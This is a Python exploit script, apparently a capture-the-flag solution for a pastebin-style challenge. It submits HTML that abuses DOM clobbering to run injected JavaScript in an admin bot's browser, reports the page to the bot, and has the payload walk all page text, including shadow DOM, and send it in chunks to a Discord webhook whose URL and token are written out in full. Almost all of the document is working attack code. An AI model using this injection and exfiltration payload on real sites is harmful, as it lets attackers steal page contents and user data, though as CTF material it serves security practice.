import requests
import time

REMOTE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1459424345695715369/Gnx874Rcb7-ZXqQ6VDy-M_nSB-Su9R8KHIkcyj890gv1e60djv89CJbCkyRi-QPc-HvH"

# Shadow DOM walker - sends in chunks to avoid Discord limit
payload = """
function walk(node, acc = []) {
  if (node.nodeType === Node.TEXT_NODE) {
    acc.push(node.textContent);
  }
  if (node.shadowRoot) {
    walk(node.shadowRoot, acc);
  }
  for (const child of node.childNodes || []) {
    walk(child, acc);
  }
  return acc;
}

setTimeout(() => {
  const text = walk(document.documentElement).join('');
  const webhook = 'DISCORD_WEBHOOK';
  
  // Send in chunks to avoid 2000 char limit
  const chunkSize = 1900;
  const chunks = [];
  for (let i = 0; i < text.length; i += chunkSize) {
    chunks.push(text.substring(i, i + chunkSize));
  }
  
  fetch(webhook, {
    method: 'POST',
    headers: {'Content-Type':'application/json'},
    body: JSON.stringify({content: `Shadow DOM Walk - Total: ${text.length} chars, Chunks: ${chunks.length}`})
  });
  
  chunks.forEach((chunk, i) => {
    setTimeout(() => {
      fetch(webhook, {
        method: 'POST',
        headers: {'Content-Type':'application/json'},
        body: JSON.stringify({content: `[${i+1}/${chunks.length}] ${chunk}`})
      });
    }, i * 2000); // 2 second delay between chunks
  });
}, 2000);
""".replace('DISCORD_WEBHOOK', DISCORD_WEBHOOK)

html_content = f"""
<form id="errorReporter">
  <input name="path" value="data:text/javascript,{payload}" />
</form>
<img id="renderConfig" src="x" onerror="window.lastRenderError='x';throw new Error()" />
"""

print("[*] Creating paste with Shadow DOM walker...")
resp = requests.post(f"{REMOTE_URL}/new", data={"content": html_content})
if resp.status_code == 200:
    note_id = resp.url.split("/")[-1]
    print(f"[+] Paste created: {resp.url}")
    
    print("[*] Reporting to bot...")
    report_resp = requests.post(f"{REMOTE_URL}/report", data={"id": note_id})
    print(f"[+] Reported! Bot will visit for 30 seconds")
    print(f"[*] Check Discord webhook for results (may take 30-35 seconds)")
else:
    print(f"[-] Failed: {resp.status_code}")
